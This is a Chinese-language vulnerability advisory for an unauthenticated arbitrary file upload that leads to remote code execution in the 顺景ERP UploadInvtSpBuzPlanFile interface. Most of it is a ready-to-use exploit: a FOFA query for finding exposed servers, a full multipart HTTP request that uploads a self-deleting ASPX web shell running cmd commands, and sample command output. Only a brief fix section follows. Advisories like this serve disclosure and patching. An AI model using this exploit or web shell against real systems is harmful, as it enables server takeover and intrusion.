

顺景ERP UploadInvtSpBuzPlanFile 处任意文件上传致RCE漏洞

漏洞描述

顺景ERP UploadInvtSpBuzPlanFile 处接口存在任意文件上传漏洞，未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

影响版本

顺景ERP

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/api/DBRecord/getDBRecords"

POC/EXP：

POST /api/cgInvtSp/UploadInvtSpBuzPlanFile HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7yyQ5XLHOn6WZ6MT

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

-----WebKitFormBoundary7yyQ5XLHOn6WZ6MT

Content-Disposition: form-data; name="file"; filename="1.aspx"

Content-Type: image/png

```
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new
System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var
out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStand
ardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " +
Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(
out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
-----WebKitFormBoundary7yyQ5XLHOn6WZ6MT--
```



驱动器 C 中的卷没有标签。 卷的序列号是 945A-00F6 c:\windows\system32\inetsrv 的目录 2024/09/19 14:12

. 2024/09/19 14:12

.. 2024/09/19 14:12

0404 2024/09/09 14:53

0804 2024/09/09 13:52 252,928 abocomp.dll 2024/09/09 13:52 324,608 adsii.dll 2024/05/27 07:39
appcmd.exe 2018/09/15 15:14 3,810 appcmd.xml 2024/09/09 11:50 181,760 AppHostNavigators.d
2024/09/09 11:50 80,896 apphstsvc.dll 2024/05/27 07:39 406,016 appobj.dll 2024/05/27 07:39 50
asp.dll 2024/05/20 11:12 22,196 asp.mof 2024/05/27 07:39 131,072 aspnetca.exe 2024/05/27 07:39

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本